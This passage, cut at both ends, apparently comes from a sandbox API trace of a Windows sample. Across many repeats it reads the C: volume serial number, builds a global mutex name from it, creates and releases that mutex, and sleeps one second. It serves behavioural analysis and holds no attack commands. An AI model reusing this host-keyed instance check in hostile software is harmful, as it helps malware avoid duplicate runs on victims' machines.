() returned 0x6a0000 [0168.350] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0168.351] GetProcessHeap () returned 0x6a0000 [0168.351] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x36d0338 [0168.351] GetProcessHeap () returned 0x6a0000 [0168.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d0338 | out: hHeap=0x6a0000) returned 1 [0168.351] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db0c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0168.351] GetProcessHeap () returned 0x6a0000 [0168.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0168.351] GetProcessHeap () returned 0x6a0000 [0168.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0168.351] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0168.352] GetProcessHeap () returned 0x6a0000 [0168.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0168.352] GetProcessHeap () returned 0x6a0000 [0168.352] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0168.352] GetProcessHeap () returned 0x6a0000 [0168.352] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0168.352] GetProcessHeap () returned 0x6a0000 [0168.352] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0168.352] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0168.352] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1ec [0168.352] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0168.352] GetProcessHeap () returned 0x6a0000 [0168.353] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0168.353] GetProcessHeap () returned 0x6a0000 [0168.353] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0168.353] ReleaseMutex (hMutex=0x1ec) returned 1 [0168.353] CloseHandle (hObject=0x1ec) returned 1 [0168.353] Sleep (dwMilliseconds=0x3e8) [0169.492] GetProcessHeap () returned 0x6a0000 [0169.492] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db0c0 [0169.492] GetProcessHeap () returned 0x6a0000 [0169.492] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db138 [0169.492] GetProcessHeap () returned 0x6a0000 [0169.492] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0169.492] GetProcessHeap () returned 0x6a0000 [0169.492] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x36d0338 [0169.492] GetProcessHeap () returned 0x6a0000 [0169.492] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d0338 | out: hHeap=0x6a0000) returned 1 [0169.492] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db138, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0169.492] GetProcessHeap () returned 0x6a0000 [0169.492] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0169.492] GetProcessHeap () returned 0x6a0000 [0169.492] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0169.492] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0169.493] GetProcessHeap () returned 0x6a0000 [0169.493] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0169.493] GetProcessHeap () returned 0x6a0000 [0169.493] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0169.493] GetProcessHeap () returned 0x6a0000 [0169.493] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0169.493] GetProcessHeap () returned 0x6a0000 [0169.493] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0169.493] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0169.493] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e4 [0169.493] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x0) returned 0x0 [0169.493] GetProcessHeap () returned 0x6a0000 [0169.493] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0169.493] GetProcessHeap () returned 0x6a0000 [0169.493] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0169.493] ReleaseMutex (hMutex=0x1e4) returned 1 [0169.493] CloseHandle (hObject=0x1e4) returned 1 [0169.493] Sleep (dwMilliseconds=0x3e8) [0170.647] GetProcessHeap () returned 0x6a0000 [0170.647] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db138 [0170.647] GetProcessHeap () returned 0x6a0000 [0170.647] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db0c0 [0170.648] GetProcessHeap () returned 0x6a0000 [0170.648] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0170.648] GetProcessHeap () returned 0x6a0000 [0170.648] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x36d0338 [0170.648] GetProcessHeap () returned 0x6a0000 [0170.648] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d0338 | out: hHeap=0x6a0000) returned 1 [0170.648] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db0c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0170.648] GetProcessHeap () returned 0x6a0000 [0170.648] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0170.648] GetProcessHeap () returned 0x6a0000 [0170.648] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0170.648] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.648] GetProcessHeap () returned 0x6a0000 [0170.648] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0170.648] GetProcessHeap () returned 0x6a0000 [0170.648] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0170.648] GetProcessHeap () returned 0x6a0000 [0170.649] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0170.649] GetProcessHeap () returned 0x6a0000 [0170.649] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0170.649] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0170.649] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e4 [0170.649] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x0) returned 0x0 [0170.649] GetProcessHeap () returned 0x6a0000 [0170.649] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0170.649] GetProcessHeap () returned 0x6a0000 [0170.649] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0170.649] ReleaseMutex (hMutex=0x1e4) returned 1 [0170.649] CloseHandle (hObject=0x1e4) returned 1 [0170.649] Sleep (dwMilliseconds=0x3e8) [0171.895] GetProcessHeap () returned 0x6a0000 [0171.896] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db0c0 [0171.896] GetProcessHeap () returned 0x6a0000 [0171.908] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db138 [0171.908] GetProcessHeap () returned 0x6a0000 [0171.908] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0171.917] GetProcessHeap () returned 0x6a0000 [0171.917] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7991d0 [0171.918] GetProcessHeap () returned 0x6a0000 [0171.918] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7991d0 | out: hHeap=0x6a0000) returned 1 [0171.918] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db138, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0171.918] GetProcessHeap () returned 0x6a0000 [0171.918] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0171.918] GetProcessHeap () returned 0x6a0000 [0171.918] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0171.918] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.919] GetProcessHeap () returned 0x6a0000 [0171.919] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0171.919] GetProcessHeap () returned 0x6a0000 [0171.919] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0171.919] GetProcessHeap () returned 0x6a0000 [0171.919] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0171.919] GetProcessHeap () returned 0x6a0000 [0171.919] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b0130 [0171.919] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0171.919] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f0 [0171.920] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0171.920] GetProcessHeap () returned 0x6a0000 [0171.920] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0171.920] GetProcessHeap () returned 0x6a0000 [0171.920] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0130 | out: hHeap=0x6a0000) returned 1 [0171.920] ReleaseMutex (hMutex=0x1f0) returned 1 [0171.920] CloseHandle (hObject=0x1f0) returned 1 [0171.920] Sleep (dwMilliseconds=0x3e8) [0173.278] GetProcessHeap () returned 0x6a0000 [0173.278] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db138 [0173.278] GetProcessHeap () returned 0x6a0000 [0173.278] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db0c0 [0173.278] GetProcessHeap () returned 0x6a0000 [0173.278] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0173.278] GetProcessHeap () returned 0x6a0000 [0173.278] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7991d0 [0173.278] GetProcessHeap () returned 0x6a0000 [0173.278] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7991d0 | out: hHeap=0x6a0000) returned 1 [0173.278] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db0c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0173.278] GetProcessHeap () returned 0x6a0000 [0173.278] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0173.279] GetProcessHeap () returned 0x6a0000 [0173.279] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0173.279] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.279] GetProcessHeap () returned 0x6a0000 [0173.279] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0173.279] GetProcessHeap () returned 0x6a0000 [0173.279] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0173.279] GetProcessHeap () returned 0x6a0000 [0173.280] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0173.280] GetProcessHeap () returned 0x6a0000 [0173.280] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0173.280] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0173.280] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f0 [0173.280] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0173.280] GetProcessHeap () returned 0x6a0000 [0173.280] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0173.280] GetProcessHeap () returned 0x6a0000 [0173.280] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0173.280] ReleaseMutex (hMutex=0x1f0) returned 1 [0173.280] CloseHandle (hObject=0x1f0) returned 1 [0173.281] Sleep (dwMilliseconds=0x3e8) [0174.489] GetProcessHeap () returned 0x6a0000 [0174.489] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db0c0 [0174.490] GetProcessHeap () returned 0x6a0000 [0174.490] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db138 [0174.490] GetProcessHeap () returned 0x6a0000 [0174.490] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0174.490] GetProcessHeap () returned 0x6a0000 [0174.490] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x731738 [0174.490] GetProcessHeap () returned 0x6a0000 [0174.490] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x731738 | out: hHeap=0x6a0000) returned 1 [0174.490] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db138, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0174.490] GetProcessHeap () returned 0x6a0000 [0174.490] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0174.490] GetProcessHeap () returned 0x6a0000 [0174.490] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0174.490] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0174.491] GetProcessHeap () returned 0x6a0000 [0174.491] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0174.491] GetProcessHeap () returned 0x6a0000 [0174.491] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0174.491] GetProcessHeap () returned 0x6a0000 [0174.491] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0174.491] GetProcessHeap () returned 0x6a0000 [0174.491] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0174.491] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0174.491] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f0 [0174.491] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0174.491] GetProcessHeap () returned 0x6a0000 [0174.491] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0174.497] GetProcessHeap () returned 0x6a0000 [0174.497] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0174.497] ReleaseMutex (hMutex=0x1f0) returned 1 [0174.497] CloseHandle (hObject=0x1f0) returned 1 [0174.497] Sleep (dwMilliseconds=0x3e8) [0175.887] GetProcessHeap () returned 0x6a0000 [0175.887] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db138 [0175.887] GetProcessHeap () returned 0x6a0000 [0175.887] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db0c0 [0175.887] GetProcessHeap () returned 0x6a0000 [0175.887] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0175.887] GetProcessHeap () returned 0x6a0000 [0175.887] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7991d0 [0175.887] GetProcessHeap () returned 0x6a0000 [0175.888] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7991d0 | out: hHeap=0x6a0000) returned 1 [0175.888] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db0c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0175.888] GetProcessHeap () returned 0x6a0000 [0175.888] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0175.888] GetProcessHeap () returned 0x6a0000 [0175.888] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0175.888] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0175.888] GetProcessHeap () returned 0x6a0000 [0175.888] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0175.888] GetProcessHeap () returned 0x6a0000 [0175.888] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0175.888] GetProcessHeap () returned 0x6a0000 [0175.888] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0175.888] GetProcessHeap () returned 0x6a0000 [0175.888] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b0130 [0175.889] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0175.889] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f0 [0175.889] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0175.889] GetProcessHeap () returned 0x6a0000 [0175.889] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0175.889] GetProcessHeap () returned 0x6a0000 [0175.889] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0130 | out: hHeap=0x6a0000) returned 1 [0175.889] ReleaseMutex (hMutex=0x1f0) returned 1 [0175.889] CloseHandle (hObject=0x1f0) returned 1 [0175.889] Sleep (dwMilliseconds=0x3e8) [0177.021] GetProcessHeap () returned 0x6a0000 [0177.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db0c0 [0177.021] GetProcessHeap () returned 0x6a0000 [0177.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db138 [0177.022] GetProcessHeap () returned 0x6a0000 [0177.022] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0177.022] GetProcessHeap () returned 0x6a0000 [0177.022] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7317f8 [0177.022] GetProcessHeap () returned 0x6a0000 [0177.022] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7317f8 | out: hHeap=0x6a0000) returned 1 [0177.022] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db138, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0177.022] GetProcessHeap () returned 0x6a0000 [0177.022] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0177.022] GetProcessHeap () returned 0x6a0000 [0177.022] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0177.022] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0177.023] GetProcessHeap () returned 0x6a0000 [0177.023] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0177.023] GetProcessHeap () returned 0x6a0000 [0177.023] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0177.023] GetProcessHeap () returned 0x6a0000 [0177.023] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0177.023] GetProcessHeap () returned 0x6a0000 [0177.023] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0177.023] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0177.023] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f0 [0177.023] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0177.023] GetProcessHeap () returned 0x6a0000 [0177.023] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0177.023] GetProcessHeap () returned 0x6a0000 [0177.023] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0177.023] ReleaseMutex (hMutex=0x1f0) returned 1 [0177.023] CloseHandle (hObject=0x1f0) returned 1 [0177.023] Sleep (dwMilliseconds=0x3e8) [0178.281] GetProcessHeap () returned 0x6a0000 [0178.281] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db138 [0178.281] GetProcessHeap () returned 0x6a0000 [0178.281] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db0c0 [0178.281] GetProcessHeap () returned 0x6a0000 [0178.281] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0178.281] GetProcessHeap () returned 0x6a0000 [0178.281] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x731738 [0178.281] GetProcessHeap () returned 0x6a0000 [0178.281] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x731738 | out: hHeap=0x6a0000) returned 1 [0178.281] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db0c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0178.281] GetProcessHeap () returned 0x6a0000 [0178.281] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0178.281] GetProcessHeap () returned 0x6a0000 [0178.281] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0178.281] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.282] GetProcessHeap () returned 0x6a0000 [0178.282] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0178.282] GetProcessHeap () returned 0x6a0000 [0178.282] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0178.282] GetProcessHeap () returned 0x6a0000 [0178.282] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0178.282] GetProcessHeap () returned 0x6a0000 [0178.282] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b0130 [0178.283] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 